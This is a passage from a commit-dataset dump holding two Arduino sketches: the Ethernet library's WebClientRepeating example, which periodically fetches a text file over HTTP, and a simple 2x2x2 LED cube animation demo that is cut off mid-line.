example\n","repos":"weera00\/Arduino,PeterVH\/Arduino,acosinwork\/Arduino,jomolinare\/Arduino,diydrones\/Arduino,jamesrob4\/Arduino,raimohanska\/Arduino,EmuxEvans\/Arduino,arduino-org\/Arduino,ms-iot\/Arduino,bugobliterator\/BUAGI,cscenter\/Arduino,arduino-org\/Arduino,rcook\/DesignLab,weera00\/Arduino,jaej-dev\/Arduino,weera00\/Arduino,niggor\/Arduino_cc,nandojve\/Arduino,SmartArduino\/Arduino-1,lulufei\/Arduino,vbextreme\/Arduino,paulo-raca\/ESP8266-Arduino,rcook\/DesignLab,SmartArduino\/Arduino-1,bsmr-arduino\/Arduino,mattvenn\/Arduino,ForestNymph\/Arduino_sources,ThoughtWorksIoTGurgaon\/Arduino,snargledorf\/Arduino,pdNor\/Arduino,KlaasDeNys\/Arduino,NaSymbol\/Arduino,leftbrainstrain\/Arduino-ESP8266,gberl001\/Arduino,UDOOboard\/Arduino,andyvand\/Arduino-1,wilhelmryan\/Arduino,ccoenen\/Arduino,eddyst\/Arduino-SourceCode,NaSymbol\/Arduino,koltegirish\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ektor5\/Arduino,mboufos\/esp8266-Arduino,PeterVH\/Arduino,chaveiro\/Arduino,jaej-dev\/Arduino,zenmanenergy\/Arduino,adamkh\/Arduino,01org\/Arduino,paulmand3l\/Arduino,lukeWal\/Arduino,garci66\/Arduino,benwolfe\/esp8266-Arduino,pdNor\/Arduino,eddyst\/Arduino-SourceCode,Protoneer\/Arduino,ektor5\/Arduino,wayoda\/Arduino,rcook\/DesignLab,koltegirish\/Arduino,shannonshsu\/Arduino,adafruit\/ESP8266-Arduino,ogferreiro\/Arduino,381426068\/Arduino,bigjosh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,weera00\/Arduino,ogferreiro\/Arduino,bugobliterator\/BUAGI,SmartArduino\/Arduino-1,arunkuttiyara\/Arduino,danielchalef\/Arduino,tommyli2014\/Arduino,onovy\/Arduino,fungxu\/Arduino,wilhelmryan\/Arduino,KlaasDeNys\/Arduino,ricklon\/Arduino,tannewt\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,PaintYourDragon\/Arduino,mc-hamster\/esp8266-Arduino,jmgonzalez00449\/Arduino,acosinwork\/Arduino,ari-analytics\/Arduino,jabezGit\/Arduino,tomkrus007\/Arduino,piersoft\/esp8266-Arduino,jmgonzalez00449\/Arduino,sanyaade-iot\/Arduino-1,damellis\/Arduino,cscenter\/Arduino,piersoft\/esp8266-Arduino,NicoHood\/Arduino,ektor5\/Arduino,bigjosh\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,leftbrainstrain\/Arduino-ESP8266,Ramoonus\/Arduino,ikbelkirasan\/Arduino,ari-analytics\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,niggor\/Arduino_cc,mateuszdw\/Arduino,steamboating\/Arduino,jabezGit\/Arduino,stevemarple\/Arduino-org,fungxu\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,plinioseniore\/Arduino,ogahara\/Arduino,NaSymbol\/Arduino,ssvs111\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,henningpohl\/Arduino,PaintYourDragon\/Arduino,Chris--A\/Arduino,chaveiro\/Arduino,Chris--A\/Arduino,gurbrinder\/Arduino,onovy\/Arduino,ntruchsess\/Arduino-1,mattvenn\/Arduino,raimohanska\/Arduino,zaiexx\/Arduino,superboonie\/Arduino,stevemarple\/Arduino-org,probonopd\/Arduino,stickbreaker\/Arduino,plaintea\/esp8266-Arduino,linino\/Arduino,bugobliterator\/BUAGI,superboonie\/Arduino,rodibot\/Arduino,niggor\/Arduino_cc,ForestNymph\/Arduino_sources,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,stevemarple\/Arduino-org,eddyst\/Arduino-SourceCode,Alfredynho\/AgroSis,niggor\/Arduino_cc,OpenDevice\/Arduino,majenkotech\/Arduino,jaehong\/Xmegaduino,xxxajk\/Arduino-1,steamboating\/Arduino,kidswong999\/Arduino,rodibot\/Arduino,bsmr-arduino\/Arduino,mateuszdw\/Arduino,HCastano\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaoloP74\/Arduino,andyvand\/Arduino-1,jaimemaretoli\/Arduino,superboonie\/Arduino,gestrem\/Arduino,andyvand\/Arduino-1,acosinwork\/Arduino,bugobliterator\/BUAGI,mboufos\/esp8266-Arduino,HCastano\/Arduino,snargledorf\/Arduino,paulo-raca\/ESP8266-Arduino,mboufos\/esp8266-Arduino,PeterVH\/Arduino,vbextreme\/Arduino,jamesrob4\/Arduino,laylthe\/Arduino,noahchense\/Arduino-1,ektor5\/Arduino,tskurauskas\/Arduino,shannonshsu\/Arduino,bigjosh\/Arduino,NaSymbol\/Arduino,andrealmeidadomingues\/Arduino,paulmand3l\/Arduino,jaehong\/Xmegaduino,ricklon\/Arduino,snargledorf\/Arduino,jomolinare\/Arduino,snargledorf\/Arduino,eggfly\/arduino,adafruit\/ESP8266-Arduino,jomolinare\/Arduino,ssvs111\/Arduino,Cloudino\/Arduino,tbowmo\/Arduino,me-no-dev\/Arduino-1,karlitxo\/Arduino,eggfly\/arduino,eddyst\/Arduino-SourceCode,Orthogonal-Systems\/arduino-libs,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,ntruchsess\/Arduino-1,steamboating\/Arduino,jmgonzalez00449\/Arduino,adamkh\/Arduino,ccoenen\/Arduino,stevemarple\/Arduino,NaSymbol\/Arduino,PaoloP74\/Arduino,mateuszdw\/Arduino,jmgonzalez00449\/Arduino,ashwin713\/Arduino,jabezGit\/Arduino,wdoganowski\/Arduino,stevemarple\/Arduino-org,tskurauskas\/Arduino,shannonshsu\/Arduino,PaoloP74\/Arduino,andrealmeidadomingues\/Arduino,EmuxEvans\/Arduino,jaimemaretoli\/Arduino,mboufos\/esp8266-Arduino,raimohanska\/Arduino,stevemayhew\/Arduino,jaimemaretoli\/Arduino,shiitakeo\/Arduino,NicoHood\/Arduino,gurbrinder\/Arduino,bigjosh\/Arduino,nandojve\/Arduino,HCastano\/Arduino,linino\/Arduino,wayoda\/Arduino,kidswong999\/Arduino,majenkotech\/Arduino,probonopd\/Arduino,ms-iot\/Arduino,vbextreme\/Arduino,ikbelkirasan\/Arduino,ashwin713\/Arduino,mateuszdw\/Arduino,zederson\/Arduino,jaimemaretoli\/Arduino,HCastano\/Arduino,niggor\/Arduino_cc,damellis\/Arduino,arunkuttiyara\/Arduino,diydrones\/Arduino,majenkotech\/Arduino,wayoda\/Arduino,rcook\/DesignLab,paulo-raca\/ESP8266-Arduino,wayoda\/Arduino,Chris--A\/Arduino,Cloudino\/Arduino,stevemarple\/Arduino,gestrem\/Arduino,chaveiro\/Arduino,gberl001\/Arduino,linino\/Arduino,Chris--A\/Arduino,NicoHood\/Arduino,01org\/Arduino,raimohanska\/Arduino,stickbreaker\/Arduino,tannewt\/Arduino,mc-hamster\/esp8266-Arduino,shannonshsu\/Arduino,jomolinare\/Arduino,eddyst\/Arduino-SourceCode,chaveiro\/Arduino,ntruchsess\/Arduino-1,nkolban\/Arduino,noahchense\/Arduino-1,zaiexx\/Arduino,onovy\/Arduino,mangelajo\/Arduino,tbowmo\/Arduino,ogferreiro\/Arduino,gonium\/Arduino,KlaasDeNys\/Arduino,PaoloP74\/Arduino,zaiexx\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,damellis\/Arduino,KlaasDeNys\/Arduino,tomkrus007\/Arduino,leftbrainstrain\/Arduino-ESP8266,mangelajo\/Arduino,nkolban\/Arduino,myrtleTree33\/Arduino,ccoenen\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,bsmr-arduino\/Arduino,odbol\/Arduino,nandojve\/Arduino,PaoloP74\/Arduino,rcook\/DesignLab,jmgonzalez00449\/Arduino,ogahara\/Arduino,eeijcea\/Arduino-1,byran\/Arduino,wilhelmryan\/Arduino,ogferreiro\/Arduino,ashwin713\/Arduino,arduino-org\/Arduino,ikbelkirasan\/Arduino,OpenDevice\/Arduino,EmuxEvans\/Arduino,ektor5\/Arduino,UDOOboard\/Arduino,majenkotech\/Arduino,me-no-dev\/Arduino-1,noahchense\/Arduino-1,cscenter\/Arduino,adafruit\/ESP8266-Arduino,gberl001\/Arduino,piersoft\/esp8266-Arduino,ricklon\/Arduino,Protoneer\/Arduino,adamkh\/Arduino,tskurauskas\/Arduino,stickbreaker\/Arduino,tannewt\/Arduino,byran\/Arduino,jomolinare\/Arduino,laylthe\/Arduino,ssvs111\/Arduino,jmgonzalez00449\/Arduino,andrealmeidadomingues\/Arduino,nkolban\/Arduino,byran\/Arduino,nkolban\/Arduino,adamkh\/Arduino,linino\/Arduino,tbowmo\/Arduino,tommyli2014\/Arduino,smily77\/Arduino,laylthe\/Arduino,UDOOboard\/Arduino,NeuralSpaz\/Arduino,byran\/Arduino,noahchense\/Arduino-1,mc-hamster\/esp8266-Arduino,zenmanenergy\/Arduino,plinioseniore\/Arduino,andrealmeidadomingues\/Arduino,gurbrinder\/Arduino,tbowmo\/Arduino,steamboating\/Arduino,me-no-dev\/Arduino-1,mangelajo\/Arduino,ms-iot\/Arduino,PeterVH\/Arduino,gurbrinder\/Arduino,garci66\/Arduino,drpjk\/Arduino,bsmr-arduino\/Arduino,toddtreece\/esp8266-Arduino,ForestNymph\/Arduino_sources,arduino-org\/Arduino,381426068\/Arduino,damellis\/Arduino,andrealmeidadomingues\/Arduino,ms-iot\/Arduino,tannewt\/Arduino,kidswong999\/Arduino,ari-analytics\/Arduino,steamboating\/Arduino,Protoneer\/Arduino,kidswong999\/Arduino,lulufei\/Arduino,vbextreme\/Arduino,drpjk\/Arduino,garci66\/Arduino,Cloudino\/Cloudino-Arduino-IDE,majenkotech\/Arduino,sanyaade-iot\/Arduino-1,karlitxo\/Arduino,tomkrus007\/Arduino,superboonie\/Arduino,talhaburak\/Arduino,danielchalef\/Arduino,championswimmer\/Arduino,stickbreaker\/Arduino,myrtleTree33\/Arduino,talhaburak\/Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,xxxajk\/Arduino-1,radut\/Arduino,wilhelmryan\/Arduino,PaoloP74\/Arduino,aichi\/Arduino-2,koltegirish\/Arduino,eeijcea\/Arduino-1,odbol\/Arduino,SmartArduino\/Arduino-1,tbowmo\/Arduino,adafruit\/ESP8266-Arduino,Orthogonal-Systems\/arduino-libs,mattvenn\/Arduino,eggfly\/arduino,smily77\/Arduino,eduardocasarin\/Arduino,Ramoonus\/Arduino,pdNor\/Arduino,scdls\/Arduino,bugobliterator\/BUAGI,stevemarple\/Arduino-org,NeuralSpaz\/Arduino,scdls\/Arduino,jomolinare\/Arduino,tomkrus007\/Arduino,wdoganowski\/Arduino,danielchalef\/Arduino,rcook\/DesignLab,jaimemaretoli\/Arduino,danielchalef\/Arduino,stevemarple\/Arduino,ogahara\/Arduino,ssvs111\/Arduino,OpenDevice\/Arduino,adafruit\/ESP8266-Arduino,jaej-dev\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,jamesrob4\/Arduino,chaveiro\/Arduino,talhaburak\/Arduino,eggfly\/arduino,jaehong\/Xmegaduino,PeterVH\/Arduino,wdoganowski\/Arduino,zaiexx\/Arduino,Gourav2906\/Arduino,tannewt\/Arduino,snargledorf\/Arduino,me-no-dev\/Arduino-1,lulufei\/Arduino,drpjk\/Arduino,probonopd\/Arduino,wilhelmryan\/Arduino,mc-hamster\/esp8266-Arduino,ikbelkirasan\/Arduino,stickbreaker\/Arduino,henningpohl\/Arduino,me-no-dev\/Arduino-1,eduardocasarin\/Arduino,henningpohl\/Arduino,koltegirish\/Arduino,eddyst\/Arduino-SourceCode,gonium\/Arduino,ari-analytics\/Arduino,Ramoonus\/Arduino,zaiexx\/Arduino,tskurauskas\/Arduino,plinioseniore\/Arduino,Alfredynho\/AgroSis,ari-analytics\/Arduino,xxxajk\/Arduino-1,bsmr-arduino\/Arduino,stevemarple\/Arduino-org,cscenter\/Arduino,UDOOboard\/Arduino,garci66\/Arduino,ccoenen\/Arduino,spapadim\/Arduino,probonopd\/Arduino,nkolban\/Arduino,mangelajo\/Arduino,tommyli2014\/Arduino,01org\/Arduino,cscenter\/Arduino,xxxajk\/Arduino-1,smily77\/Arduino,zenmanenergy\/Arduino,adamkh\/Arduino,nandojve\/Arduino,wilhelmryan\/Arduino,Chris--A\/Arduino,pdNor\/Arduino,gonium\/Arduino,UDOOboard\/Arduino,fungxu\/Arduino,talhaburak\/Arduino,fungxu\/Arduino,stevemayhew\/Arduino,jamesrob4\/Arduino,Protoneer\/Arduino,ssvs111\/Arduino,henningpohl\/Arduino,ForestNymph\/Arduino_sources,me-no-dev\/Arduino-1,NaSymbol\/Arduino,weera00\/Arduino,PaintYourDragon\/Arduino,ForestNymph\/Arduino_sources,scdls\/Arduino,scdls\/Arduino,eggfly\/arduino,stevemayhew\/Arduino,vbextreme\/Arduino,talhaburak\/Arduino,andyvand\/Arduino-1,ikbelkirasan\/Arduino,aichi\/Arduino-2,01org\/Arduino,onovy\/Arduino,zenmanenergy\/Arduino,me-no-dev\/Arduino-1,radut\/Arduino,plaintea\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,byran\/Arduino,HCastano\/Arduino,tbowmo\/Arduino,tskurauskas\/Arduino,jaehong\/Xmegaduino,spapadim\/Arduino,ogahara\/Arduino,garci66\/Arduino,Protoneer\/Arduino,zederson\/Arduino,Gourav2906\/Arduino,smily77\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gestrem\/Arduino,gberl001\/Arduino,koltegirish\/Arduino,benwolfe\/esp8266-Arduino,eeijcea\/Arduino-1,bigjosh\/Arduino,wilhelmryan\/Arduino,lulufei\/Arduino,Ramoonus\/Arduino,smily77\/Arduino,eduardocasarin\/Arduino,benwolfe\/esp8266-Arduino,eduardocasarin\/Arduino,jaehong\/Xmegaduino,cscenter\/Arduino,eeijcea\/Arduino-1,ari-analytics\/Arduino,rodibot\/Arduino,bsmr-arduino\/Arduino,sanyaade-iot\/Arduino-1,chaveiro\/Arduino,wdoganowski\/Arduino,jamesrob4\/Arduino,chaveiro\/Arduino,onovy\/Arduino,niggor\/Arduino_cc,probonopd\/Arduino,SmartArduino\/Arduino-1,spapadim\/Arduino,gberl001\/Arduino,NeuralSpaz\/Arduino,xxxajk\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,Gourav2906\/Arduino,NicoHood\/Arduino,karlitxo\/Arduino,pdNor\/Arduino,aichi\/Arduino-2,plinioseniore\/Arduino,ikbelkirasan\/Arduino,ntruchsess\/Arduino-1,paulmand3l\/Arduino,gonium\/Arduino,HCastano\/Arduino,scdls\/Arduino,scdls\/Arduino,kidswong999\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,toddtreece\/esp8266-Arduino,eggfly\/arduino,rodibot\/Arduino,piersoft\/esp8266-Arduino,KlaasDeNys\/Arduino,shannonshsu\/Arduino,gurbrinder\/Arduino,xxxajk\/Arduino-1,jabezGit\/Arduino,nandojve\/Arduino,NeuralSpaz\/Arduino,PaintYourDragon\/Arduino,koltegirish\/Arduino,ntruchsess\/Arduino-1,nandojve\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,vbextreme\/Arduino,superboonie\/Arduino,stevemarple\/Arduino,gestrem\/Arduino,weera00\/Arduino,Orthogonal-Systems\/arduino-libs,odbol\/Arduino,jaej-dev\/Arduino,karlitxo\/Arduino,championswimmer\/Arduino,stevemarple\/Arduino-org,paulmand3l\/Arduino,shannonshsu\/Arduino,bugobliterator\/BUAGI,mattvenn\/Arduino,ashwin713\/Arduino,raimohanska\/Arduino,eggfly\/arduino,OpenDevice\/Arduino,ogferreiro\/Arduino,raimohanska\/Arduino,tomkrus007\/Arduino,Protoneer\/Arduino,weera00\/Arduino,eggfly\/arduino,jaimemaretoli\/Arduino,shiitakeo\/Arduino,lulufei\/Arduino,sanyaade-iot\/Arduino-1,benwolfe\/esp8266-Arduino,eeijcea\/Arduino-1,eduardocasarin\/Arduino,tommyli2014\/Arduino,gberl001\/Arduino,fungxu\/Arduino,garci66\/Arduino,stevemarple\/Arduino,ForestNymph\/Arduino_sources,karlitxo\/Arduino,henningpohl\/Arduino,garci66\/Arduino,drpjk\/Arduino,zaiexx\/Arduino,karlitxo\/Arduino,lukeWal\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,andyvand\/Arduino-1,championswimmer\/Arduino,tommyli2014\/Arduino,mangelajo\/Arduino,paulo-raca\/ESP8266-Arduino,plinioseniore\/Arduino,radut\/Arduino,shannonshsu\/Arduino,01org\/Arduino,stevemayhew\/Arduino,talhaburak\/Arduino,tbowmo\/Arduino,jaehong\/Xmegaduino,Cloudino\/Cloudino-Arduino-IDE,smily77\/Arduino,majenkotech\/Arduino,NeuralSpaz\/Arduino,ricklon\/Arduino,diydrones\/Arduino,odbol\/Arduino,wdoganowski\/Arduino,stevemayhew\/Arduino,linino\/Arduino,tannewt\/Arduino,ssvs111\/Arduino,stickbreaker\/Arduino,mangelajo\/Arduino,onovy\/Arduino,diydrones\/Arduino,drpjk\/Arduino,ms-iot\/Arduino,spapadim\/Arduino,NicoHood\/Arduino,drpjk\/Arduino,plinioseniore\/Arduino,ricklon\/Arduino,jabezGit\/Arduino,lukeWal\/Arduino,raimohanska\/Arduino,pdNor\/Arduino,zederson\/Arduino,HCastano\/Arduino,jaej-dev\/Arduino,PaoloP74\/Arduino,Cloudino\/Cloudino-Arduino-IDE,niggor\/Arduino_cc,gberl001\/Arduino,ari-analytics\/Arduino,aichi\/Arduino-2,pdNor\/Arduino,Alfredynho\/AgroSis,damellis\/Arduino,ogferreiro\/Arduino,ogferreiro\/Arduino,rodibot\/Arduino,nkolban\/Arduino,NaSymbol\/Arduino,arduino-org\/Arduino,xxxajk\/Arduino-1,stevemayhew\/Arduino,mateuszdw\/Arduino,381426068\/Arduino,myrtleTree33\/Arduino,henningpohl\/Arduino,ForestNymph\/Arduino_sources,lukeWal\/Arduino,spapadim\/Arduino,kidswong999\/Arduino,plaintea\/esp8266-Arduino,bigjosh\/Arduino,wdoganowski\/Arduino,zederson\/Arduino,wayoda\/Arduino,zenmanenergy\/Arduino,andrealmeidadomingues\/Arduino,tskurauskas\/Arduino,OpenDevice\/Arduino,noahchense\/Arduino-1,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,vbextreme\/Arduino,ikbelkirasan\/Arduino,ricklon\/Arduino,jaej-dev\/Arduino,scdls\/Arduino,01org\/Arduino,wayoda\/Arduino,wayoda\/Arduino,adamkh\/Arduino,zederson\/Arduino,mattvenn\/Arduino,jamesrob4\/Arduino,radut\/Arduino,mc-hamster\/esp8266-Arduino,Gourav2906\/Arduino,byran\/Arduino,wdoganowski\/Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,shiitakeo\/Arduino,ektor5\/Arduino,adamkh\/Arduino,andyvand\/Arduino-1,PaoloP74\/Arduino,cscenter\/Arduino,lukeWal\/Arduino,381426068\/Arduino,adamkh\/Arduino,EmuxEvans\/Arduino,zenmanenergy\/Arduino,arunkuttiyara\/Arduino,ntruchsess\/Arduino-1,jaehong\/Xmegaduino,noahchense\/Arduino-1,xxxajk\/Arduino-1,probonopd\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,me-no-dev\/Arduino-1,tskurauskas\/Arduino,talhaburak\/Arduino,andrealmeidadomingues\/Arduino,acosinwork\/Arduino,arunkuttiyara\/Arduino,381426068\/Arduino,plinioseniore\/Arduino,damellis\/Arduino,zaiexx\/Arduino,koltegirish\/Arduino,jabezGit\/Arduino,snargledorf\/Arduino,ccoenen\/Arduino,ashwin713\/Arduino,spapadim\/Arduino,ashwin713\/Arduino,shannonshsu\/Arduino,mateuszdw\/Arduino,tommyli2014\/Arduino,adafruit\/ESP8266-Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,Ramoonus\/Arduino,shiitakeo\/Arduino,PaintYourDragon\/Arduino,paulmand3l\/Arduino,Cloudino\/Cloudino-Arduino-IDE,championswimmer\/Arduino,eduardocasarin\/Arduino,gurbrinder\/Arduino,NeuralSpaz\/Arduino,lulufei\/Arduino,SmartArduino\/Arduino-1,smily77\/Arduino,eeijcea\/Arduino-1,tomkrus007\/Arduino,odbol\/Arduino,jaimemaretoli\/Arduino,benwolfe\/esp8266-Arduino,tbowmo\/Arduino,eddyst\/Arduino-SourceCode,championswimmer\/Arduino,tomkrus007\/Arduino,superboonie\/Arduino,aichi\/Arduino-2,andyvand\/Arduino-1,piersoft\/esp8266-Arduino,stevemarple\/Arduino,EmuxEvans\/Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,PeterVH\/Arduino,ari-analytics\/Arduino,jabezGit\/Arduino,eddyst\/Arduino-SourceCode,HCastano\/Arduino,cscenter\/Arduino,fungxu\/Arduino,radut\/Arduino,henningpohl\/Arduino,ccoenen\/Arduino,karlitxo\/Arduino,Gourav2906\/Arduino,ccoenen\/Arduino,OpenDevice\/Arduino,laylthe\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,rodibot\/Arduino,byran\/Arduino,Protoneer\/Arduino,NeuralSpaz\/Arduino,stevemarple\/Arduino-org,mattvenn\/Arduino,odbol\/Arduino,Gourav2906\/Arduino,radut\/Arduino,leftbrainstrain\/Arduino-ESP8266,gonium\/Arduino,byran\/Arduino,spapadim\/Arduino,aichi\/Arduino-2,diydrones\/Arduino,nandojve\/Arduino,tskurauskas\/Arduino,niggor\/Arduino_cc,wayoda\/Arduino,jamesrob4\/Arduino,kidswong999\/Arduino,Cloudino\/Arduino,ikbelkirasan\/Arduino,lukeWal\/Arduino,steamboating\/Arduino,jmgonzalez00449\/Arduino,tommyli2014\/Arduino,zederson\/Arduino,lukeWal\/Arduino,superboonie\/Arduino,ccoenen\/Arduino,mboufos\/esp8266-Arduino,superboonie\/Arduino,jomolinare\/Arduino,OpenDevice\/Arduino,UDOOboard\/Arduino,NaSymbol\/Arduino,onovy\/Arduino,acosinwork\/Arduino,radut\/Arduino,kidswong999\/Arduino,PeterVH\/Arduino,381426068\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,shiitakeo\/Arduino,NicoHood\/Arduino,championswimmer\/Arduino,acosinwork\/Arduino,arduino-org\/Arduino,damellis\/Arduino,arunkuttiyara\/Arduino,myrtleTree33\/Arduino,UDOOboard\/Arduino,jmgonzalez00449\/Arduino,Alfredynho\/AgroSis,steamboating\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gonium\/Arduino,stevemarple\/Arduino,KlaasDeNys\/Arduino,sanyaade-iot\/Arduino-1,gestrem\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,jabezGit\/Arduino,KlaasDeNys\/Arduino,Cloudino\/Arduino,fungxu\/Arduino,eeijcea\/Arduino-1,Cloudino\/Arduino,paulo-raca\/ESP8266-Arduino,NicoHood\/Arduino,381426068\/Arduino,acosinwork\/Arduino,laylthe\/Arduino,laylthe\/Arduino,plaintea\/esp8266-Arduino,KlaasDeNys\/Arduino,odbol\/Arduino,eduardocasarin\/Arduino,sanyaade-iot\/Arduino-1,stickbreaker\/Arduino,drpjk\/Arduino,Gourav2906\/Arduino,ms-iot\/Arduino,paulmand3l\/Arduino,Chris--A\/Arduino,diydrones\/Arduino,zenmanenergy\/Arduino,probonopd\/Arduino,stevemayhew\/Arduino,ssvs111\/Arduino,shiitakeo\/Arduino,SmartArduino\/Arduino-1,Cloudino\/Arduino,gestrem\/Arduino,jaej-dev\/Arduino,ashwin713\/Arduino,danielchalef\/Arduino,snargledorf\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,arduino-org\/Arduino,bigjosh\/Arduino,vbextreme\/Arduino,linino\/Arduino,noahchense\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,laylthe\/Arduino,garci66\/Arduino,gonium\/Arduino,ashwin713\/Arduino,Ramoonus\/Arduino,arduino-org\/Arduino,arunkuttiyara\/Arduino,gurbrinder\/Arduino,Alfredynho\/AgroSis,EmuxEvans\/Arduino,zederson\/Arduino,Gourav2906\/Arduino,toddtreece\/esp8266-Arduino,nandojve\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,talhaburak\/Arduino,ogahara\/Arduino,rcook\/DesignLab,PaintYourDragon\/Arduino,ogahara\/Arduino,stevemayhew\/Arduino,NicoHood\/Arduino,nkolban\/Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,henningpohl\/Arduino,bsmr-arduino\/Arduino","old_file":"libraries\/Ethernet\/examples\/WebClientRepeating\/WebClientRepeating.ino","new_file":"libraries\/Ethernet\/examples\/WebClientRepeating\/WebClientRepeating.ino","new_contents":"\/*\n Repeating Web client\n \n This sketch connects to a a web server and makes a request\n using a Wiznet Ethernet shield. You can use the Arduino Ethernet shield, or\n the Adafruit Ethernet shield, either one will work, as long as it's got\n a Wiznet Ethernet module on board.\n \n This example uses the String library, which is part of the Arduino core from\n version 0019. It also uses DNS, by assigning the Ethernet client with a MAC address,\n IP address, and DNS address.\n \n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n \n created 19 Apr 2012\n by Tom Igoe\n \n http:\/\/arduino.cc\/en\/Tutorial\/WebClientRepeating\n This code is in the public domain.\n \n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ assign a MAC address for the ethernet controller.\n\/\/ fill in your address here:\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};\n\/\/ fill in an available IP address on your network here,\n\/\/ for manual configuration:\nIPAddress ip(10,0,0,20);\n\n\/\/ fill in your Domain Name Server address here:\nIPAddress myDns(1,1,1,1);\n\n\/\/ initialize the library instance:\nEthernetClient client;\n\nchar server[] = \"www.arduino.cc\";\n\nunsigned long lastConnectionTime = 0; \/\/ last time you connected to the server, in milliseconds\nboolean lastConnected = false; \/\/ state of the connection last time through the main loop\nconst unsigned long postingInterval = 60*1000; \/\/ delay between updates, in milliseconds\n\nvoid setup() {\n \/\/ start serial port:\n Serial.begin(9600);\n \/\/ give the ethernet module time to boot up:\n delay(1000);\n \/\/ start the Ethernet connection using a fixed IP address and DNS server:\n Ethernet.begin(mac, ip, myDns);\n \/\/ print the Ethernet board\/shield's IP address:\n Serial.print(\"My IP address: \");\n Serial.println(Ethernet.localIP());\n}\n\nvoid loop() {\n \/\/ if there's incoming data from the net connection.\n \/\/ send it out the serial port. This is for debugging\n \/\/ purposes only:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \/\/ if there's no net connection, but there was one last time\n \/\/ through the loop, then stop the client:\n if (!client.connected() && lastConnected) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n }\n\n \/\/ if you're not connected, and ten seconds have passed since\n \/\/ your last connection, then connect again and send data:\n if(!client.connected() && (millis() - lastConnectionTime > postingInterval)) {\n httpRequest();\n }\n \/\/ store the state of the connection for next time through\n \/\/ the loop:\n lastConnected = client.connected();\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest() {\n \/\/ if there's a successful connection:\n if (client.connect(server, 80)) {\n Serial.println(\"connecting...\");\n \/\/ send the HTTP PUT request:\n client.println(\"GET \/latest.txt HTTP\/1.1\");\n client.println(\"Host: www.arduino.cc\");\n client.println(\"User-Agent: arduino-ethernet\");\n client.println(\"Connection: close\");\n client.println();\n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n } \n else {\n \/\/ if you couldn't make a connection:\n Serial.println(\"connection failed\");\n Serial.println(\"disconnecting.\");\n client.stop();\n }\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Ethernet\/examples\/WebClientRepeating\/WebClientRepeating.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"587706b8496205d89585c1e5bd547f824d363386","subject":"Add simple demo stuff for 2x2x2 cube","message":"Add simple demo stuff for 2x2x2 cube\n","repos":"neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random,neojski\/random","old_file":"arduino\/2x2x2-cube.ino","new_file":"arduino\/2x2x2-cube.ino","new_contents":"#define REP(x,n) for(int x=0;x<n;x++)\n#define ALL REP(i,2) REP(j,2) REP(k,2)\n\nconst int DELAY = 10;\nint cube[2][2][2];\n\nint cols[2][2] = {{8, 9}, {10, 11}};\nint rows[2] = {6, 7};\n\nvoid clear() {\n ALL cube[i][j][k] = 0;\n}\n\nvoid setup() {\n REP(i,2) pinMode(rows[i], OUTPUT);\n REP(i,2) REP(j,2) pinMode(cols[i][j], OUTPUT);\n}\n\nvoid randomIn(int time) {\n int count = 8;\n while(count > 0){\n int x = random(2);\n int y = random(2);\n int z = random(2);\n if(cube[y][x][z]==0){\n cube[y][x][z]=1;\n count--;\n show(time);\n }\n }\n}\n\nvoid layerSpiral(int i, int time) {\n REP(j,2) {\n cube[i][0][j] = 1;\n show(time);\n clear();\n }\n REP(j,2) {\n cube[i][1][1-j] = 1;\n show(time);\n clear();\n }\n}\n\nvoid layer(int i, int time) {\n REP(j,2) REP(k,2) cube[i][j][k] = 1;\n show(time);\n clear();\n}\n\nvoid loop() {\n const int t = 100;\n \n REP(x,4)\n REP(l,2){\n layer(l, 500);\n }\n \n REP(x,3) ALL {\n cube[i][j][k] = 1;\n show(t);\n clear();\n }\n \n REP(x,3){\n randomIn(t);\n clear();\n }\n\n REP(i,3){\n REP(l,2){\n REP(x,3) layerSpiral(l, t);\n }\n }\n}\n\nvoid show(int time){\n REP(t,time\/DELAY\/2){\n REP(i,2){\n digitalWrite(rows[i], LOW);\n REP(j,2) REP(k,2){\n digitalWrite(cols[j][k], cube[i][j][k] ? HIGH : 